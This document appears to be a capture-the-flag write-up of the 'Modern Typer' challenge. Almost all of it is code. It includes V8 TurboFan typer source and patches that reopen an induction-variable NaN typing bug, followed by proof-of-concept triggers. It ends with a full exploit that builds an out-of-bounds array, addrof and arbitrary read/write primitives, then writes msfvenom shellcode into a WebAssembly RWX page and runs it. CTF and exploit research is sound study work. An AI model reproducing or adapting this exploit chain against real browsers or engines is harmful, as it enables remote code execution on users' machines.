HTB 2021: Modern Typer

int arity = NodeProperties::GetControlInput(node)->op()->ControlInputCount();
DCHECK_EQ(IrOpcode::kLoop, NodeProperties::GetControlInput(node)->opcode());
DCHECK_EQ(2, NodeProperties::GetControlInput(node)->InputCount());

auto res = induction_vars_->induction_variables().find(node->id());
DCHECK(res != induction_vars_->induction_variables().end());
InductionVariable* induction_var = res->second;
InductionVariable::ArithmeticType arithmetic_type = induction_var->Type();
Type initial_type = Operand(node, 0);
Type increment_type = Operand(node, 2);

const bool both_types_integer = initial_type.Is(typer_->cache_->kInteger) &&
							  increment_type.Is(typer_->cache_->kInteger);
bool maybe_nan = false;
// The addition or subtraction could still produce a NaN, if the integer
// ranges touch infinity.
if (both_types_integer) {
	Type resultant_type =
		(arithmetic_type == InductionVariable::ArithmeticType::kAddition)
		? typer_->operation_typer()->NumberAdd(initial_type, increment_type)
		: typer_->operation_typer()->NumberSubtract(initial_type,
													increment_type);
	maybe_nan = resultant_type.Maybe(Type::NaN());
}

// We only handle integer induction variables (otherwise ranges
// do not apply and we cannot do anything).
if (!both_types_integer || maybe_nan) {
	// Fallback to normal phi typing, but ensure monotonicity.
	// (Unfortunately, without baking in the previous type, monotonicity might
	// be violated because we might not yet have retyped the incrementing
	// operation even though the increment's type might been already reflected
	// in the induction variable phi.)
	Type type = NodeProperties::IsTyped(node) ? NodeProperties::GetType(node)
										  : Type::None();
	for (int i = 0; i < arity; ++i) {
	  type = Type::Union(type, Operand(node, i), zone());
	}
	return type;
}

// If we do not have enough type information for the initial value or
// the increment, just return the initial value's type.
if (initial_type.IsNone() || increment_type.Is(typer_->cache_->kSingletonZero)) {
	return initial_type;
}

Type const kInteger = CreateRange(-V8_INFINITY, V8_INFINITY);

// Now process the bounds.
double min = -V8_INFINITY;
double max = V8_INFINITY;

double increment_min;
double increment_max;

if (arithmetic_type == InductionVariable::ArithmeticType::kAddition) {
	increment_min = increment_type.Min();
	increment_max = increment_type.Max();
} else {
	DCHECK_EQ(InductionVariable::ArithmeticType::kSubtraction, arithmetic_type);
	increment_min = -increment_type.Max();
	increment_max = -increment_type.Min();
}

if (increment_min >= 0) {
	// increasing sequence
	min = initial_type.Min();
	for (auto bound : induction_var->upper_bounds()) {
		Type bound_type = TypeOrNone(bound.bound);
		// If the type is not an integer, just skip the bound.
		if (!bound_type.Is(typer_->cache_->kInteger)) continue;
		// If the type is not inhabited, then we can take the initial value.
		if (bound_type.IsNone()) {
			max = initial_type.Max();
			break;
		}
		double bound_max = bound_type.Max();
		if (bound.kind == InductionVariable::kStrict) {
			bound_max -= 1;
		}
		max = std::min(max, bound_max + increment_max);
	}
// The upper bound must be at least the initial value's upper bound.
max = std::max(max, initial_type.Max());
} else if (increment_max <= 0) {
	// decreasing sequence
	max = initial_type.Max();
	for (auto bound : induction_var->lower_bounds()) {
		Type bound_type = TypeOrNone(bound.bound);
		// If the type is not an integer, just skip the bound.
		if (!bound_type.Is(typer_->cache_->kInteger)) continue;
		// If the type is not inhabited, then we can take the initial value.
		if (bound_type.IsNone()) {
			min = initial_type.Min();
			break;
		}
		double bound_min = bound_type.Min();
		if (bound.kind == InductionVariable::kStrict) {
			bound_min += 1;
		}
		min = std::max(min, bound_min + increment_min);
	}
// The lower bound must be at most the initial value's lower bound.
min = std::min(min, initial_type.Min());
} else {
	// Shortcut: If the increment can be both positive and negative,
	// the variable can go arbitrarily far, so just return integer.
	return typer_->cache_->kInteger;
}
return Type::Range(min, max, typer_->zone());

function trigger() {
	var x = -Infinity;
	for (var i = 0; i < 1; i += x) {
	  if (i == -Infinity) {
		x = +Infinity;
	  }
	}
	return i;
};

%PrepareFunctionForOptimization(trigger)
trigger();
%OptimizeFunctionOnNextCall(trigger)
trigger();

if (arity == 0) {
    Node* length = jsgraph()->ZeroConstant();
    int capacity = JSArray::kPreallocatedArrayElements;
    return ReduceNewArray(node, length, capacity, *initial_map, elements_kind,
                          allocation, slack_tracking_prediction);
  } else if (arity == 1) {
    Node* length = NodeProperties::GetValueInput(node, 2);
    Type length_type = NodeProperties::GetType(length);
    if (!length_type.Maybe(Type::Number())) {
      // Handle the single argument case, where we know that the value
      // cannot be a valid Array length.
      elements_kind = GetMoreGeneralElementsKind(
          elements_kind, IsHoleyElementsKind(elements_kind) ? HOLEY_ELEMENTS
                                                            : PACKED_ELEMENTS);
      return ReduceNewArray(node, std::vector<Node*>{length}, *initial_map,
                            elements_kind, allocation,
                            slack_tracking_prediction);
    }
    if (length_type.Is(Type::SignedSmall()) && length_type.Min() >= 0 &&
        length_type.Max() <= kElementLoopUnrollLimit &&
        length_type.Min() == length_type.Max()) {
      int capacity = static_cast<int>(length_type.Max());
      return ReduceNewArray(node, length, capacity, *initial_map, elements_kind,
                            allocation, slack_tracking_prediction);
    }
    if (length_type.Maybe(Type::UnsignedSmall()) && can_inline_call) {
      return ReduceNewArray(node, length, *initial_map, elements_kind,
                            allocation, slack_tracking_prediction);
    }
  } else if (arity <= JSArray::kInitialMaxFastElementArray) {
    // Gather the values to store into the newly created array.
	...

// When initializing arrays, we'll unfold the loop if the number of
// elements is known to be of this type.
const int kElementLoopUnrollLimit = 16;

function trigger() {
  var x = -Infinity;
  var k = 0;
  for (var i = 0; i < 1; i += x) {
      if (i == -Infinity) {
        x = +Infinity;
      }

      if (++k > 10) {
        break;
      }
  }

  // inference: i = Range(-Inf, Inf) -- reality: i = NaN
  i = Math.max(i, 1024);
  // inference: i = Range(1024, Inf) -- reality: i = NaN
  i = -i;                
  // inference: i = Range(-Inf, -1024) -- reality: i = NaN
  i = Math.max(i, -1025); 
  // inference: i = Range(-1025, -1024) -- reality: i = NaN
  // i = ChangeFloat64ToInt32(NaN) = 0 (SimplifiedLowering)
  i = -i;                 
  // inference: i = Range(1024, 1025) -- reality: i = 0
  i -= 1022;              
  // inference: i = Range(2, 3) -- reality: i = -1022 
  i >>= 1;                
  // inference: i = Range(1, 1) -- reality: i = 1073741313 
  i += 10;               
  // inference: i = Range(11, 11) -- reality: i = 1073741323 

  var arr = Array(i)      
  // capacity = 11, length = 1073741323 (OOB)
  arr[0] = 1.1;
  return arr;
};

for (let i = 0; i < 20000; ++i) {
  trigger();
}

console.log(trigger()[0][11]);

diff --git a/src/compiler/js-create-lowering.cc b/src/compiler/js-create-lowering.cc
index ff057a4..77da973 100644
--- a/src/compiler/js-create-lowering.cc
+++ b/src/compiler/js-create-lowering.cc
@@ -672,6 +672,9 @@
         length_type.Max() <= kElementLoopUnrollLimit &&
         length_type.Min() == length_type.Max()) {
       int capacity = static_cast<int>(length_type.Max());
+      // Replace length with a constant in order to protect against a potential
+      // typer bug leading to length > capacity.
+      length = jsgraph()->Constant(capacity);
       return ReduceNewArray(node, length, capacity, *initial_map, elements_kind,
                             allocation, slack_tracking_prediction);
     }

diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index 14ec856..4e86b96 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -847,30 +847,24 @@
   DCHECK_EQ(IrOpcode::kLoop, NodeProperties::GetControlInput(node)->opcode());
   DCHECK_EQ(2, NodeProperties::GetControlInput(node)->InputCount());
 
-  auto res = induction_vars_->induction_variables().find(node->id());
-  DCHECK(res != induction_vars_->induction_variables().end());
-  InductionVariable* induction_var = res->second;
-  InductionVariable::ArithmeticType arithmetic_type = induction_var->Type();
   Type initial_type = Operand(node, 0);
   Type increment_type = Operand(node, 2);
 
-  const bool both_types_integer = initial_type.Is(typer_->cache_->kInteger) &&
-                                  increment_type.Is(typer_->cache_->kInteger);
-  bool maybe_nan = false;
-  // The addition or subtraction could still produce a NaN, if the integer
-  // ranges touch infinity.
-  if (both_types_integer) {
-    Type resultant_type =
-        (arithmetic_type == InductionVariable::ArithmeticType::kAddition)
-            ? typer_->operation_typer()->NumberAdd(initial_type, increment_type)
-            : typer_->operation_typer()->NumberSubtract(initial_type,
-                                                        increment_type);
-    maybe_nan = resultant_type.Maybe(Type::NaN());
+  // If we do not have enough type information for the initial value or
+  // the increment, just return the initial value's type.
+  if (initial_type.IsNone() ||
+      increment_type.Is(typer_->cache_->kSingletonZero)) {
+    return initial_type;
   }
 
-  // We only handle integer induction variables (otherwise ranges
-  // do not apply and we cannot do anything).
-  if (!both_types_integer || maybe_nan) {
+  // We only handle integer induction variables (otherwise ranges do not apply
+  // and we cannot do anything). Moreover, we don't support infinities in
+  // {increment_type} because the induction variable can become NaN through
+  // addition/subtraction of opposing infinities.
+  if (!initial_type.Is(typer_->cache_->kInteger) ||
+      !increment_type.Is(typer_->cache_->kInteger) ||
+      increment_type.Min() == -V8_INFINITY ||
+      increment_type.Max() == +V8_INFINITY) {
     // Fallback to normal phi typing, but ensure monotonicity.
     // (Unfortunately, without baking in the previous type, monotonicity might
     // be violated because we might not yet have retyped the incrementing
@@ -883,14 +877,13 @@
     }
     return type;
   }
-  // If we do not have enough type information for the initial value or
-  // the increment, just return the initial value's type.
-  if (initial_type.IsNone() ||
-      increment_type.Is(typer_->cache_->kSingletonZero)) {
-    return initial_type;
-  }
 
   // Now process the bounds.
+  auto res = induction_vars_->induction_variables().find(node->id());
+  DCHECK(res != induction_vars_->induction_variables().end());
+  InductionVariable* induction_var = res->second;
+  InductionVariable::ArithmeticType arithmetic_type = induction_var->Type();
+
   double min = -V8_INFINITY;
   double max = V8_INFINITY;
 
@@ -946,8 +939,8 @@
     // The lower bound must be at most the initial value's lower bound.
     min = std::min(min, initial_type.Min());
   } else {
-    // Shortcut: If the increment can be both positive and negative,
-    // the variable can go arbitrarily far, so just return integer.
+    // If the increment can be both positive and negative, the variable can go
+    // arbitrarily far.
     return typer_->cache_->kInteger;
   }
   if (FLAG_trace_turbo_loop) {

diff --git a/src/compiler/js-create-lowering.cc b/src/compiler/js-create-lowering.cc
index 619475ef7f..d1cfcae1f4 100644
--- a/src/compiler/js-create-lowering.cc
+++ b/src/compiler/js-create-lowering.cc
@@ -699,7 +699,7 @@ Reduction JSCreateLowering::ReduceJSCreateArray(Node* node) {
       int capacity = static_cast<int>(length_type.Max());
       // Replace length with a constant in order to protect against a potential
       // typer bug leading to length > capacity.
-      length = jsgraph()->Constant(capacity);
+      //length = jsgraph()->Constant(capacity);
       return ReduceNewArray(node, length, capacity, *initial_map, elements_kind,
                             allocation, slack_tracking_prediction);
     }
diff --git a/src/compiler/operation-typer.cc b/src/compiler/operation-typer.cc
index 8b889c6948..c13d58e4c2 100644
--- a/src/compiler/operation-typer.cc
+++ b/src/compiler/operation-typer.cc
@@ -325,7 +325,7 @@ Type OperationTyper::NumberAbs(Type type) {
   DCHECK(type.Is(Type::Number()));
   if (type.IsNone()) return type;
 
-  bool const maybe_nan = type.Maybe(Type::NaN());
+  //bool const maybe_nan = type.Maybe(Type::NaN());
   bool const maybe_minuszero = type.Maybe(Type::MinusZero());
 
   type = Type::Intersect(type, Type::PlainNumber(), zone());
@@ -345,9 +345,9 @@ Type OperationTyper::NumberAbs(Type type) {
   if (maybe_minuszero) {
     type = Type::Union(type, cache_->kSingletonZero, zone());
   }
-  if (maybe_nan) {
-    type = Type::Union(type, Type::NaN(), zone());
-  }
+  //if (maybe_nan) {
+  //  type = Type::Union(type, Type::NaN(), zone());
+  //}
   return type;
 }

# setting up turbolizer
cd v8/tools/turbolizer
npm i && npm run-script build
python3 -m http.server 2&>1 > /dev/null &
cd -
# running poc and provide turbolizer output
v8/out/x64.release/d8 ./poc.js --trace-turbo

function trigger() {
	  var x = -Infinity;
	  for (var i = 0; i < 1; i += x) {
		if (i == -Infinity)
			x = +Infinity;
	  }
	
	  // inference: i = (NaN | Range(-Inf, Inf)) -- reality: i = NaN
	  i = Math.max(i, 1024);
	  // inference: i = (NaN | Range(1024, Inf)) -- reality: i = NaN
	  i = -i;                
	  // inference: i = (NaN Range(-Inf, -1024)) -- reality: i = NaN
	  i = Math.max(i, -1025); 
	  // inference: i = (NaN | Range(-1025, -1024)) -- reality: i = NaN
	  i = -i;  
	  // inference: i = (NaN | Range(1024, 1025)) -- reality: i = NaN
	  i -= 1022;
	  // inference: i = (NaN | Range(2, 3)) -- reality: i = NaN
	  // Truncate Float64ToWord32 (SimplifiedLowering) i = 0
	  i >>= 1;                
	  // inference: i = Range(0, 1) -- reality: i = 0 
	  i += 1;               
	  // inference: i = Range(1, 2) -- reality: i = 1              

	  let arr = Array(i);
	  oob_arr[0] = 1.1;

	  return arr;
}

function trigger() {
	  var x = -Infinity;
	  for (var i = 0; i < 1; i += x) {
		if (i == -Infinity)
			x = +Infinity;
	  }
	
	  i = Math.max(i, 1024);
	  i = -i;                
	  i = Math.max(i, -1025); 
	  i = -i;  
	  i = Math.abs(i);  // <------ escaping NaN typing
	  i -= 1022;              
	  i >>= 1;                
	  i += 1;               

	  let arr = Array(i);
	  oob_arr[0] = 1.1;

	  return arr;
}

function trigger() {
	  var x = -Infinity;
	  for (var i = 0; i < 1; i += x) {
		if (i == -Infinity)
			x = +Infinity;
	  }
	
	  // inference: i = (NaN | Range(-Inf, Inf)) -- reality: i = NaN
	  i = Math.max(i, 1024);
	  // inference: i = (NaN | Range(1024, Inf)) -- reality: i = NaN
	  i = -i;                
	  // inference: i = (NaN Range(-Inf, -1024)) -- reality: i = NaN
	  i = Math.max(i, -1025); 
	  // inference: i = (NaN | Range(-1025, -1024)) -- reality: i = NaN
	  i = -i;  
	  // inference: i = (NaN | Range(1024, 1025)) -- reality: i = NaN
	  i = Math.abs(i);  
	  // i = ChangeFloat64ToInt32(NaN) = 0 (SimplifiedLowering)
	  // inference: i = Range(1024, 1025) - reality: i = 0
	  i -= 1022;              
	  // inference: i = Range(2, 3) -- reality: i = -1022 
	  i >>= 1;                
	  // inference: i = Range(1, 1) -- reality: i = 1073741313 
	  i += 1;               
	  // inference: i = Range(2, 2) -- reality: i = 1073741314              

	  let arr = Array(i);
	  oob_arr[0] = 1.1;

	  return arr;
}

var buf = new ArrayBuffer(8); 
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

function ftoi(val) { 
	    f64_buf[0] = val;
	    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); 
}

function itof(val) { 
	    u64_buf[0] = Number(val & 0xffffffffn);
	    u64_buf[1] = Number(val >> 32n);
	    return f64_buf[0];
}

function trigger() {
	  var x = -Infinity;
	  for (var i = 0; i < 1; i += x) {
		if (i == -Infinity)
			x = +Infinity;
	  }
	
	  i = Math.max(i, 1024);
	  i = -i;                
	  i = Math.max(i, -1025); 
	  i = -i;  
	  i = Math.abs(i);  
	  i -= 1022;              
	  i >>= 1;                
	  i += 1;               

	  let arr = Array(i);
	  oob_arr[0] = 1.1;

	  return arr;
};

for (let i = 0; i < 0x10000; i++) {
	trigger();
}

var oob_arr = trigger();
var flt_arr = [1.1, 1.2];
var obj_arr = [{}, {}];

var flt_map = ftoi(oob_arr[5]) & 0xffffffffn
var obj_map = ftoi(oob_arr[13]) & 0xffffffffn

function addrof(obj) {
	oob_arr[5] = itof(obj_map);
	flt_arr[0] = obj;
	oob_arr[5] = itof(flt_map);
	return ftoi(flt_arr[0]) & 0xffffffffn
}

function arb_read(addr) {
	let old_elements = oob_arr[6]
	oob_arr[6] = itof((2n << 32n) + addr - 8n);
	let leak = flt_arr[0];
	oob_arr[6] = old_elements;
	return leak;
}

function arb_write(addr, val) {
	let old_elements = oob_arr[6]
	oob_arr[6] = itof((2n << 32n) + addr - 8n);
	flt_arr[0] = val;
	oob_arr[6] = old_elements;
}

function exploit() {
	var wasm_code = new Uint8Array([
		0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,
		1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,
		0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,
		128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,
		111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,
		128,0,1,132,128,128,128,0,0,65,0,11
	]);

	var wasm_mod = new WebAssembly.Module(wasm_code);
	var wasm_instance = new WebAssembly.Instance(wasm_mod);
	var f = wasm_instance.exports.main;
	var wasm_instance_addr = addrof(wasm_instance) + 0x68n;
	var rwx_page_addr = arb_read(wasm_instance_addr);

	function copy_shellcode(addr, shellcode) {
		let buf = new ArrayBuffer(0x100);
		let dataview = new DataView(buf);
		let buf_addr = addrof(buf);

		let backing_store_addr = buf_addr + 0x14n;
		arb_write(backing_store_addr, addr);

		for (let i = 0; i < shellcode.length; i++) {
			dataview.setUint32(4 * i, shellcode[i], true);
		}
	}
	
	// msfvenom -p linux/x64/exec CMD='xcalc' --format dword
	var shellcode=[                 
	    0x90909090,
	    0x90909090,
	    0x782fb848,
	    0x636c6163,
	    0x48500000,
	    0x73752fb8,
	    0x69622f72,
	    0x8948506e,
	    0xc03148e7,
	    0x89485750,
	    0xd23148e6,
	    0x3ac0c748,
	    0x50000030,
	    0x4944b848,
	    0x414c5053,
	    0x48503d59,
	    0x3148e289,
	    0x485250c0,
	    0xc748e289,
	    0x00003bc0,
	    0x050f00
	];

	copy_shellcode(rwx_page_addr, shellcode);
	f();
}
exploit();